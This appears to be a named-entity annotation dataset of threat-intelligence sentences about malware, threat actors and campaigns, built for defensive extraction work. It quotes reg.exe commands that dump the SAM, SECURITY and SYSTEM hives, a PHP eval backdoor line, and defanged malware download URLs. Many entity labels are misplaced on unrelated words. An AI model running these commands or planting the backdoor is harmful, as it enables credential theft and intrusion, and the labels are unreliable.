{"id":3528,"text":"Protux\u2019s latest version, 3.7, uses the open-source compiler OpenCSP to generate a session key with the RSA algorithm.","entities":[{"id":10665,"label":"malware","start_offset":0,"end_offset":6},{"id":49309,"label":"tools","start_offset":60,"end_offset":67}],"relations":[{"id":781,"from_id":10665,"to_id":49309,"type":"uses"}],"Comments":[]}
{"id":5064,"text":"The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.","entities":[{"id":51171,"label":"DOMAIN","start_offset":81,"end_offset":94}],"relations":[],"Comments":[]}
{"id":9223,"text":"What happened?","entities":[],"relations":[],"Comments":[]}
{"id":7937,"text":"Both methods use a system application called PackageInstaller to complete the installation.","entities":[],"relations":[],"Comments":[]}
{"id":86,"text":"3. Criminals will find ways to target these attacks.","entities":[],"relations":[],"Comments":[]}
{"id":11192,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten\u2019s objectives.","entities":[{"id":34266,"label":"location","start_offset":5,"end_offset":9},{"id":34268,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]}
{"id":3013,"text":"Voice assistants are some of the newest devices out there, which means they\u2019re the least known and understood.","entities":[],"relations":[],"Comments":[]}
{"id":11686,"text":"\u201cIndia reaction after new pak map.pdf\u201d \u2013 a document talking about India\u2019s response to the new political map revealed by Pakistan in August.","entities":[],"relations":[],"Comments":[]}
{"id":7600,"text":" Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":13911,"text":"      Figure 1.","entities":[],"relations":[],"Comments":[]}
{"id":1037,"text":"Their response was that they were addressing this issue and have already removed a number of these items, with the remainder requiring further investigation.","entities":[],"relations":[],"Comments":[]}
{"id":4103,"text":"     Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":1738,"text":"Attackers know that people will click on links in email.","entities":[],"relations":[],"Comments":[]}
{"id":5783,"text":"It\u2019s great to be here.","entities":[],"relations":[],"Comments":[]}
{"id":2202,"text":"The filename is derived by randomly choosing an executable name from the system32 directory.","entities":[{"id":47317,"label":"FILEPATH","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
{"id":662,"text":"Nearly all of us have a use for Microsoft Office documents.","entities":[{"id":46243,"label":"SOFTWARE","start_offset":32,"end_offset":48}],"relations":[],"Comments":[]}
{"id":5036,"text":"The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.","entities":[{"id":51110,"label":"identity","start_offset":119,"end_offset":141},{"id":51109,"label":"location","start_offset":34,"end_offset":43}],"relations":[],"Comments":[]}
{"id":1669,"text":"At this point, the key exchange is complete and both client and server hold the same two keys, which they can use to encrypt and decrypt traffic.","entities":[],"relations":[],"Comments":[]}
{"id":2137,"text":"Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and  on currently available information.","entities":[],"relations":[],"Comments":[]}
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{"id":5684,"text":"Since mid-2021, we have been investigating a rather elusive threat actor called Earth Lusca that targets organizations globally via a campaign that uses traditional social engineering techniques such as spear phishing and watering holes.","entities":[{"id":17527,"label":"location","start_offset":134,"end_offset":142},{"id":17528,"label":"attack-pattern","start_offset":203,"end_offset":217},{"id":17529,"label":"location","start_offset":218,"end_offset":221}],"relations":[],"Comments":[]}
{"id":2606,"text":" Owing to the diversity of techniques used, and the lack of use of malware, there is no single defense against or detection of Lapsus$ attacks specifically.  ","entities":[{"id":7883,"label":"threat-actor","start_offset":127,"end_offset":134}],"relations":[],"Comments":[]}
{"id":1980,"text":"We can see the first packet is a normal ClientHello sent by the client, and the second packet is a crafted packet sent by the server.  In order to examine exploitation of this vulnerability, we used WinDBG to attach to the lsass.exe process.","entities":[{"id":47093,"label":"FILEPATH","start_offset":223,"end_offset":232},{"id":47092,"label":"SOFTWARE","start_offset":199,"end_offset":205}],"relations":[],"Comments":[]}
{"id":1302,"text":"The 'gh204503254' data that was previously downloaded is used as the key.","entities":[],"relations":[],"Comments":[]}
{"id":7246,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":22647,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
{"id":3090,"text":" Security updates to address these vulnerabilities began to be released prior to disclosure on January 3, 2018.","entities":[{"id":45767,"label":"TIME","start_offset":95,"end_offset":110}],"relations":[],"Comments":[]}
{"id":5725,"text":"Attackers will cast a wide net, with no regard to who the victims are, hoping that a decent percentage of attacks are successful.","entities":[{"id":17691,"label":"location","start_offset":10,"end_offset":14},{"id":17692,"label":"identity","start_offset":15,"end_offset":19},{"id":17693,"label":"tools","start_offset":27,"end_offset":30},{"id":17694,"label":"location","start_offset":66,"end_offset":69},{"id":17695,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
{"id":1757,"text":"And before long, Yuki Chen (@guhe120), a Chinese researcher, posted his answer.","entities":[{"id":46908,"label":"identity","start_offset":28,"end_offset":36},{"id":46907,"label":"identity","start_offset":17,"end_offset":26},{"id":46909,"label":"location","start_offset":41,"end_offset":48}],"relations":[{"id":254,"from_id":46907,"to_id":46908,"type":"duplicate-of"},{"id":255,"from_id":46907,"to_id":46909,"type":"located-at"},{"id":256,"from_id":46908,"to_id":46909,"type":"located-at"}],"Comments":[]}
{"id":14108,"text":"Analyzing the compile time of binaries between different samples can also provide a level of correlation between samples.","entities":[],"relations":[],"Comments":[]}
{"id":2512,"text":"The group has spent more than a year attacking organizations where IT outages can have life-threatening consequences: hospitals, 911 dispatch carriers, emergency medical services and law enforcement agencies.","entities":[],"relations":[],"Comments":[]}
{"id":1304,"text":"The following example response will instruct the malware to download a remote executable file:  'filename.exe' is the path where the downloaded file will be stored, and '01234567890123456789012345678901' is the value supplied in the subsequent HTTP request.","entities":[{"id":46665,"label":"FILEPATH","start_offset":97,"end_offset":109}],"relations":[],"Comments":[]}
{"id":10060,"text":" Figure 10. .satan file Conclusion","entities":[],"relations":[],"Comments":[]}
{"id":9166,"text":"By then, Angler\u2019s activities already ceased.","entities":[],"relations":[],"Comments":[]}
{"id":1090,"text":"In the above example, the resource being protected isn\u2019t the right to speak, as many might think, but rather the ability to listen.","entities":[],"relations":[],"Comments":[]}
{"id":691,"text":"This means that RTF documents expose the same attack surface as Internet Explorer!","entities":[{"id":46269,"label":"SOFTWARE","start_offset":64,"end_offset":81}],"relations":[],"Comments":[]}
{"id":299,"text":"Updated April 1, 2022, at 11 a.m. PT.","entities":[{"id":45999,"label":"TIME","start_offset":8,"end_offset":37}],"relations":[],"Comments":[]}
{"id":10589,"text":"The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.","entities":[],"relations":[],"Comments":[]}
{"id":548,"text":" Ransom notes from Makop, Dharma, Ryuk, DearCry and others, sometimes ask victims to reach out to them via email.","entities":[{"id":46164,"label":"malware","start_offset":19,"end_offset":24},{"id":46166,"label":"malware","start_offset":34,"end_offset":38},{"id":46167,"label":"malware","start_offset":40,"end_offset":47},{"id":46165,"label":"malware","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]}
{"id":11430,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[{"id":34912,"label":"malware","start_offset":83,"end_offset":90},{"id":34913,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
{"id":1190,"text":" Some of these third-party SDKs provide IAP services based on existing online payment platforms.","entities":[],"relations":[],"Comments":[]}
{"id":3452,"text":" Please mark, I'm not a robot!  ","entities":[],"relations":[],"Comments":[]}
{"id":5411,"text":"The vendors that were targeted by VPNFilter were Asus, D-Link, Huawei, Linksys, MikroTik, Netgear, QNAP, TP-Link, Ubiquiti, UPVEL, and ZDE.","entities":[{"id":51412,"label":"identity","start_offset":99,"end_offset":103},{"id":51415,"label":"identity","start_offset":135,"end_offset":138},{"id":51409,"label":"identity","start_offset":71,"end_offset":78},{"id":51410,"label":"identity","start_offset":80,"end_offset":88},{"id":51405,"label":"malware","start_offset":34,"end_offset":43},{"id":51406,"label":"identity","start_offset":49,"end_offset":53},{"id":51407,"label":"identity","start_offset":55,"end_offset":61},{"id":51408,"label":"identity","start_offset":63,"end_offset":69},{"id":51411,"label":"identity","start_offset":90,"end_offset":97},{"id":51413,"label":"identity","start_offset":105,"end_offset":112},{"id":51414,"label":"identity","start_offset":114,"end_offset":122}],"relations":[{"id":1084,"from_id":51405,"to_id":51406,"type":"targets"},{"id":1085,"from_id":51405,"to_id":51407,"type":"targets"},{"id":1086,"from_id":51405,"to_id":51408,"type":"targets"},{"id":1087,"from_id":51405,"to_id":51409,"type":"targets"},{"id":1089,"from_id":51405,"to_id":51411,"type":"targets"},{"id":1090,"from_id":51405,"to_id":51412,"type":"targets"},{"id":1091,"from_id":51405,"to_id":51413,"type":"targets"},{"id":1088,"from_id":51405,"to_id":51410,"type":"targets"},{"id":1092,"from_id":51405,"to_id":51414,"type":"targets"},{"id":1093,"from_id":51405,"to_id":51415,"type":"targets"}],"Comments":[]}
{"id":2380,"text":"Many of the StealthMutant samples we have analyzed use AES-256-ECB for decryption; alternatively, an earlier variant of the loader uses XOR.","entities":[{"id":47443,"label":"malware","start_offset":12,"end_offset":25}],"relations":[],"Comments":[]}
{"id":9554,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[],"relations":[],"Comments":[]}
{"id":8181,"text":"     Figure 3. Letter confirming the changes in the company\u2019s bank reference.","entities":[],"relations":[],"Comments":[]}
{"id":4514,"text":"The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.","entities":[{"id":50314,"label":"SOFTWARE","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
{"id":9829,"text":"  Figure 6. Code showing down_new\u2019s command function  Table 1.","entities":[{"id":29964,"label":"tools","start_offset":25,"end_offset":33}],"relations":[],"Comments":[]}
{"id":4351,"text":"    The lures used in an older campaign from April 2021 impersonated the Federal Board of Revenue.","entities":[{"id":50135,"label":"TIME","start_offset":45,"end_offset":55},{"id":50136,"label":"identity","start_offset":73,"end_offset":97}],"relations":[],"Comments":[]}
{"id":8381,"text":"And we don\u2019t just plug security holes \u2013 we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.","entities":[{"id":25803,"label":"location","start_offset":0,"end_offset":3},{"id":25804,"label":"identity","start_offset":13,"end_offset":17},{"id":25805,"label":"location","start_offset":23,"end_offset":31},{"id":25806,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
{"id":725,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
{"id":13271,"text":"The loader checking the sidebar process Figure 8.","entities":[],"relations":[],"Comments":[]}
{"id":13165,"text":"The malware tries to check if the target machine has a USB plug-in and copies the USBferry installer into the USB storage.","entities":[{"id":41084,"label":"location","start_offset":21,"end_offset":26},{"id":41085,"label":"location","start_offset":34,"end_offset":40},{"id":41086,"label":"location","start_offset":67,"end_offset":70},{"id":41087,"label":"malware","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
{"id":4252,"text":" Figure 8: Calling the decryption function This encouraged us to analyze the string encryption routines thoroughly.","entities":[],"relations":[],"Comments":[]}
{"id":13635,"text":"We also recommend that administrators keep the versions of any e-commerce platforms in use by their websites up to date to prevent any potential vulnerabilities, including XSS attacks.","entities":[{"id":51721,"label":"attack-pattern","start_offset":172,"end_offset":183}],"relations":[],"Comments":[]}
{"id":5254,"text":"These were signed with the same fake Google certificates.","entities":[],"relations":[],"Comments":[]}
{"id":4174,"text":"Configuration decoding function (left: SmileSvr right: Troj_Yahamam)      Figure 15. Function used to split different values in configuration file (left: SmileSvr right: Troj_Yahamam)","entities":[{"id":49978,"label":"malware","start_offset":170,"end_offset":182},{"id":49979,"label":"malware","start_offset":154,"end_offset":162},{"id":49980,"label":"malware","start_offset":39,"end_offset":47},{"id":49977,"label":"malware","start_offset":55,"end_offset":67}],"relations":[],"Comments":[]}
{"id":3128,"text":"Attackers target home routers like this by targeting default passwords and out-of-date software on the routers.","entities":[{"id":48262,"label":"attack-pattern","start_offset":53,"end_offset":70},{"id":48263,"label":"attack-pattern","start_offset":75,"end_offset":95}],"relations":[],"Comments":[]}
{"id":1049,"text":"There is some malware that exploits some vectors outlined in this article, but Palo Alto Networks Unit 42 is not aware of any active attacks against this particular vulnerability at this time.","entities":[{"id":46541,"label":"identity","start_offset":79,"end_offset":105}],"relations":[],"Comments":[]}
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{"id":5436,"text":"However, in some cases, a device might be an end-of-life product and will no longer receive updates from its vendor.","entities":[],"relations":[],"Comments":[]}
{"id":5729,"text":"Simply explained:  Figure 1 Conversation Hijacking to Deliver Malware  Unit 42 observed this specific attack taking advantage of a vulnerability in Microsoft Office, which has a patch available.","entities":[{"id":17711,"label":"identity","start_offset":148,"end_offset":157}],"relations":[],"Comments":[]}
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{"id":3638,"text":"When he finds one that is still in progress, he crafts a malicious attack email that seems to be relevant to the ongoing email conversation and sends it to Bob as shown in the bottom figure.","entities":[],"relations":[],"Comments":[]}
{"id":10530,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
{"id":4391,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[{"id":50204,"label":"malware","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":13574,"text":"The first way involves appending a fake login form to the page.","entities":[],"relations":[],"Comments":[]}
{"id":14149,"text":"Moving to more targeted attack methods appears to be a mainstay among threat actors, which requires organizations to improve their visibility into the entire attack lifecycle.","entities":[],"relations":[],"Comments":[]}
{"id":1136,"text":"The evasive nature of this malware family leads to a different file hash, import hash, and only a 20% average SSDeep hash overlap between the samples.","entities":[{"id":46571,"label":"tools","start_offset":110,"end_offset":116}],"relations":[],"Comments":[]}
{"id":10033,"text":"As of this writing, our telemetry has detected infection attempts in China.","entities":[],"relations":[],"Comments":[]}
{"id":9208,"text":"The JBS cyber attack comes just three weeks after Colonial Pipeline, the US's largest pipeline system, was targeted in a ransomware attack.","entities":[],"relations":[],"Comments":[]}
{"id":3295,"text":"3.      \u201cnoreturn\u201d: executes a system command using the Python function \u201cwin32api.ShellExecute\u201d without waiting for the result.","entities":[{"id":48383,"label":"SOFTWARE","start_offset":56,"end_offset":62}],"relations":[],"Comments":[]}
{"id":3577,"text":"When ConfuserEx performs its obfuscation routine, one of the operations creates a watermark \u2013 a unique identifier within the software--that is present in the final binary.","entities":[{"id":49362,"label":"tools","start_offset":5,"end_offset":15}],"relations":[],"Comments":[]}
{"id":13816,"text":"The API hooking on \u201cZwOpenProcess\u201d will only be triggered if \"%temp%\\KERNELBASE.dll\" exists on the host.","entities":[{"id":42857,"label":"attack-pattern","start_offset":8,"end_offset":15},{"id":42858,"label":"location","start_offset":35,"end_offset":39},{"id":42859,"label":"location","start_offset":40,"end_offset":44},{"id":42860,"label":"location","start_offset":99,"end_offset":103}],"relations":[],"Comments":[]}
{"id":4621,"text":"RCA Diagrams:      Fig. Executing commands using Chopper CnC     Conclusion","entities":[],"relations":[],"Comments":[]}
{"id":2088,"text":"This threat actor has done little to hide malicious activity, and is probably going to continue this behavior.","entities":[],"relations":[],"Comments":[]}
{"id":11470,"text":"Any one government\u2019s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[{"id":35061,"label":"location","start_offset":45,"end_offset":51},{"id":35062,"label":"location","start_offset":57,"end_offset":63},{"id":35063,"label":"location","start_offset":76,"end_offset":80},{"id":35064,"label":"location","start_offset":101,"end_offset":114},{"id":35065,"label":"location","start_offset":115,"end_offset":121},{"id":35066,"label":"location","start_offset":122,"end_offset":125},{"id":35067,"label":"tools","start_offset":154,"end_offset":160}],"relations":[],"Comments":[]}
{"id":14132,"text":"No months are plotted, so this figure is like compressing all the activity across the full 2020-year in one day just to show the active hours in a day.","entities":[{"id":48195,"label":"TIME","start_offset":91,"end_offset":100}],"relations":[],"Comments":[]}
{"id":13309,"text":"The vulnerabilities that Tropic Trooper\u2019s campaigns have been patched last January, for instance.","entities":[],"relations":[],"Comments":[]}
{"id":11582,"text":"It contains a generic privilege escalation exploit wrapper which is used by six different exploits.","entities":[{"id":35519,"label":"attack-pattern","start_offset":22,"end_offset":42}],"relations":[],"Comments":[]}
{"id":3304,"text":"Depending on the different argument \u201ctype\u201d delivered with the command, it performs different behaviors.","entities":[],"relations":[],"Comments":[]}
{"id":2013,"text":"For example, LockBit 2.0 leverages Tox Chat for threat actor communications.","entities":[{"id":45221,"label":"malware","start_offset":13,"end_offset":24},{"id":45222,"label":"tools","start_offset":35,"end_offset":43}],"relations":[{"id":89,"from_id":45221,"to_id":45222,"type":"uses"}],"Comments":[]}
{"id":5281,"text":"This report discusses the technical capabilities of this Cyclops Blink malware variant and includes a list of more than 150 current and historical command-and-control (C&C) servers of the Cyclops Blink botnet.","entities":[{"id":51328,"label":"malware","start_offset":57,"end_offset":70},{"id":51329,"label":"malware","start_offset":188,"end_offset":201}],"relations":[],"Comments":[]}
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{"id":1772,"text":"The three vulnerabilities each contain code to alter a user-controlled address, and the code can be distilled down to the following operations:","entities":[],"relations":[],"Comments":[]}
{"id":3003,"text":"It\u2019s the apps you use to view content.","entities":[],"relations":[],"Comments":[]}
{"id":8005,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":24834,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":24836,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
{"id":10475,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":31852,"label":"location","start_offset":144,"end_offset":148},{"id":31854,"label":"location","start_offset":236,"end_offset":239},{"id":31855,"label":"threat-actor","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]}
{"id":13984,"text":"In the same way that the kill chain has become an outdated concept, so has the notion that EDR is sufficient to speed up detection and response by solely using the endpoint.","entities":[{"id":48774,"label":"SOFTWARE","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]}
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{"id":10197,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[{"id":31138,"label":"tools","start_offset":49,"end_offset":53},{"id":31139,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
{"id":7678,"text":"Just like in previous operations, they continue to make small changes, such as targeting other countries, entities, or the combination of techniques used for deployment, for each campaign.","entities":[{"id":23878,"label":"identity","start_offset":0,"end_offset":4},{"id":23879,"label":"location","start_offset":56,"end_offset":61},{"id":23880,"label":"location","start_offset":179,"end_offset":187}],"relations":[],"Comments":[]}
{"id":728,"text":"OMI is used by Microsoft Azure to manage UNIX packages within Azure virtual machines (VMs), containers and serverless cloud instances.","entities":[{"id":46302,"label":"SOFTWARE","start_offset":0,"end_offset":3},{"id":46305,"label":"SOFTWARE","start_offset":62,"end_offset":90},{"id":46303,"label":"SOFTWARE","start_offset":15,"end_offset":30},{"id":46304,"label":"SOFTWARE","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
{"id":9643,"text":" Figure 5. Hardcoded RSA256 key showing the first 20 characters","entities":[],"relations":[],"Comments":[]}
{"id":2785,"text":"The attacker steals the victims computing resources and translates it into a cryptocurrency like Bitcoin.","entities":[{"id":48011,"label":"SOFTWARE","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]}
{"id":7737,"text":"Meanwhile, the .DOC VBA macros retrieves the MSI files from hxxp:\/\/195.123.245.185\/km or hxxp:\/\/185.225.17.5\/km, which executes the NSIS installer for ServHelper installation.","entities":[{"id":24031,"label":"malware","start_offset":132,"end_offset":136},{"id":24032,"label":"tools","start_offset":151,"end_offset":161}],"relations":[],"Comments":[]}
{"id":21,"text":"Attacks aren't getting any less sophisticated, so it is time to leave legacy security solutions behind and upgrade to real, prevention-based security.","entities":[],"relations":[],"Comments":[]}
{"id":10579,"text":"APP provides the strongest protections available against phishing and account hijacking and is specifically designed for the highest-risk accounts.","entities":[{"id":32265,"label":"attack-pattern","start_offset":57,"end_offset":65},{"id":32266,"label":"location","start_offset":66,"end_offset":69},{"id":32267,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
{"id":9335,"text":"We first came across the threat in May on the site http:\/\/gooogle[.]press\/, which was advertising a chat app called \u201cChatrious.\u201d","entities":[{"id":28812,"label":"URL","start_offset":51,"end_offset":74},{"id":28813,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
{"id":3059,"text":"If the user clicks the \u201cUpdate to Full Protection\u201d button they will be prompted to subscribe to a service that costs $4.99 (US) per month through In-App Purchase of Google Play (Figure 3).  Figure 3","entities":[],"relations":[],"Comments":[]}
{"id":12352,"text":"This targeting is consistent with what others have subsequently reported.","entities":[],"relations":[],"Comments":[]}
{"id":10654,"text":"To protect enterprises against malicious activities, we need more than just timely patches.","entities":[{"id":32524,"label":"identity","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
{"id":5047,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":51131,"label":"identity","start_offset":23,"end_offset":26},{"id":51132,"label":"attack-pattern","start_offset":106,"end_offset":134}],"relations":[],"Comments":[]}
{"id":12874,"text":"Lateral Movement: Moving in for the Kill","entities":[],"relations":[],"Comments":[]}
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{"id":102,"text":"They have focused most of their efforts on planting crypto-mining malware on cloud servers in an effort to mine Monero coins, but we have also seen them utilize DDoS IRC bots, steal cloud account credentials, and exfil data.","entities":[{"id":44594,"label":"SOFTWARE","start_offset":112,"end_offset":118},{"id":44595,"label":"attack-pattern","start_offset":161,"end_offset":165},{"id":44596,"label":"attack-pattern","start_offset":176,"end_offset":207},{"id":44597,"label":"attack-pattern","start_offset":213,"end_offset":223},{"id":44598,"label":"malware","start_offset":52,"end_offset":73}],"relations":[],"Comments":[]}
{"id":14028,"text":"The image (Figure 3) taken from an analysis of Freenki shows that the same logic applies when the resource is compiled into the binary.","entities":[{"id":47194,"label":"malware","start_offset":47,"end_offset":55}],"relations":[],"Comments":[]}
{"id":354,"text":"TrustedSec reports on how attackers were apparently able to glean user credentials from a certain device via the Heartbleed vulnerability and use them to log in via a VPN.","entities":[{"id":44711,"label":"identity","start_offset":0,"end_offset":10},{"id":44712,"label":"vulnerability","start_offset":113,"end_offset":137},{"id":44713,"label":"tools","start_offset":167,"end_offset":170},{"id":44714,"label":"attack-pattern","start_offset":60,"end_offset":82}],"relations":[{"id":18,"from_id":44714,"to_id":44712,"type":"exploits"}],"Comments":[]}
{"id":1010,"text":"Accounts for big universities (e.g., MIT, Stanford, etc.) are mainly used to access respective library services and resources, \"including research help, study spaces, print and electronic books\/journals and more.\"","entities":[{"id":46511,"label":"identity","start_offset":42,"end_offset":50},{"id":46510,"label":"identity","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
{"id":511,"text":"Figure 1 shows the proportion of ransomware sample numbers for different families that Unit 42 detected in the wild.","entities":[{"id":46142,"label":"identity","start_offset":87,"end_offset":94}],"relations":[],"Comments":[]}
{"id":2845,"text":" The WanaCrypt0r ransomware spreads itself by heavily scanning over TCP port 445 (associated with SMB) and attempting to exploit the ETERNALBLUE vulnerability on systems.","entities":[{"id":48049,"label":"malware","start_offset":5,"end_offset":16},{"id":8683,"label":"vulnerability","start_offset":133,"end_offset":144}],"relations":[{"id":381,"from_id":48049,"to_id":8683,"type":"exploits"}],"Comments":[]}
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{"id":4141,"text":"The group dumps credentials stored in registries by using reg.exe: reg.exe save hklm\\sam C:\\Users\\Public\\Downloads\\sam.hive reg.exe save hklm\\sam c:\\windows\\temp\\sa.dit reg.exe save hklm\\security c:\\windows\\temp\\se.dit reg.exe save hklm\\system c:\\windows\\temp\\sy.dit","entities":[{"id":49940,"label":"FILEPATH","start_offset":146,"end_offset":168},{"id":49941,"label":"FILEPATH","start_offset":169,"end_offset":176},{"id":49944,"label":"FILEPATH","start_offset":219,"end_offset":226},{"id":49947,"label":"FILEPATH","start_offset":67,"end_offset":74},{"id":49939,"label":"REGISTRYKEY","start_offset":137,"end_offset":145},{"id":49942,"label":"REGISTRYKEY","start_offset":182,"end_offset":195},{"id":49943,"label":"FILEPATH","start_offset":196,"end_offset":218},{"id":49945,"label":"REGISTRYKEY","start_offset":232,"end_offset":243},{"id":49946,"label":"FILEPATH","start_offset":244,"end_offset":266},{"id":49948,"label":"REGISTRYKEY","start_offset":80,"end_offset":88},{"id":49949,"label":"FILEPATH","start_offset":89,"end_offset":123},{"id":49950,"label":"FILEPATH","start_offset":124,"end_offset":131}],"relations":[],"Comments":[]}
{"id":7164,"text":"Updated June 18, 2018, 10:05 AM to add new IoC information from IssueMakersLab's July investigation.","entities":[{"id":22406,"label":"TIME","start_offset":23,"end_offset":31}],"relations":[],"Comments":[]}
{"id":4562,"text":"Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.","entities":[{"id":50379,"label":"malware","start_offset":43,"end_offset":54},{"id":50380,"label":"threat-actor","start_offset":130,"end_offset":142},{"id":50381,"label":"malware","start_offset":160,"end_offset":177}],"relations":[{"id":951,"from_id":50381,"to_id":50380,"type":"authored-by"}],"Comments":[]}
{"id":4986,"text":"More technical details about this vulnerability are available in this RCA by Maddie Stone.","entities":[{"id":51045,"label":"identity","start_offset":77,"end_offset":89}],"relations":[],"Comments":[]}
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{"id":3194,"text":"The fake Adobe Flash Player download page of the watering hole attack      Figure 5.","entities":[{"id":48321,"label":"attack-pattern","start_offset":49,"end_offset":69},{"id":48320,"label":"SOFTWARE","start_offset":9,"end_offset":27}],"relations":[],"Comments":[]}
{"id":1294,"text":" The malware then attempts to read the following file.","entities":[],"relations":[],"Comments":[]}
{"id":4943,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":50967,"label":"threat-actor","start_offset":43,"end_offset":48},{"id":50968,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
{"id":12299,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]}
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{"id":7113,"text":"The Iron Tiger APT group has used the HyperBro malware family since at least 2017.","entities":[{"id":22266,"label":"malware","start_offset":38,"end_offset":46}],"relations":[],"Comments":[]}
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{"id":14394,"text":"XDR is intended to be that security data lake of deeper enterprise infrastructure and security information than we\u2019ve previously gathered in a single addressable pool and designed to be useful for threat hunters and analysts.","entities":[{"id":51776,"label":"SOFTWARE","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
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{"id":455,"text":"Fortunately, there are emerging technologies now that can better counter DGAs.","entities":[],"relations":[],"Comments":[]}
{"id":2604,"text":"In other cases, for example that of Microsoft, there was simply publication without extortion, again supporting the understanding that the primary motivation of this actor is notoriety rather than financial gain.","entities":[{"id":45615,"label":"identity","start_offset":36,"end_offset":45}],"relations":[],"Comments":[]}
{"id":13447,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[{"id":41867,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
{"id":10247,"text":"In 2020, Pawn Storm often tries to obfuscate these brute force attempts by routing their attack traffic over Tor and VPN servers.","entities":[{"id":31314,"label":"attack-pattern","start_offset":51,"end_offset":62},{"id":31315,"label":"malware","start_offset":109,"end_offset":112},{"id":31316,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
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{"id":3131,"text":"If you\u2019re not sure how to do this, contact your Internet Service Provider (ISP) that gave you the router for help.","entities":[],"relations":[],"Comments":[]}
{"id":13591,"text":"First, the $IDFX variable uses XOR operation (see character ^) to decode the string \u201ccreate_function\u201d, then the resulting base64 string is decoded to @eval($_REQUEST['ec_ver2update']); which is the backdoor\u2019s code.","entities":[],"relations":[],"Comments":[]}
{"id":5551,"text":"However, as we\u2019ve seen, Magecart has hit big-name brands as well as less well-known companies.","entities":[{"id":51540,"label":"malware","start_offset":24,"end_offset":32}],"relations":[],"Comments":[]}
{"id":4873,"text":"In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm.","entities":[{"id":50875,"label":"TIME","start_offset":3,"end_offset":7},{"id":50877,"label":"identity","start_offset":61,"end_offset":81},{"id":50878,"label":"malware","start_offset":124,"end_offset":130},{"id":50876,"label":"identity","start_offset":9,"end_offset":18}],"relations":[{"id":1029,"from_id":50878,"to_id":50877,"type":"authored-by"}],"Comments":[]}
{"id":14296,"text":"Maikspy on the Windows platform  Figure 7.","entities":[{"id":48501,"label":"malware","start_offset":0,"end_offset":8},{"id":48502,"label":"SOFTWARE","start_offset":15,"end_offset":23}],"relations":[{"id":433,"from_id":48501,"to_id":48502,"type":"targets"}],"Comments":[]}
{"id":3953,"text":"In addition, a publicly available JoeWare domain tool called LG.exe, which is quite popular among attackers and domain admins alike, was installed and used in the attack.","entities":[{"id":49805,"label":"FILEPATH","start_offset":61,"end_offset":67},{"id":49806,"label":"tools","start_offset":34,"end_offset":53}],"relations":[],"Comments":[]}
{"id":1848,"text":"     Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).","entities":[],"relations":[],"Comments":[]}
{"id":9636,"text":"theme0.xml is extracted to \/tmp\/system\/word\/theme\/syslogd before it\u2019s executed.","entities":[],"relations":[],"Comments":[]}
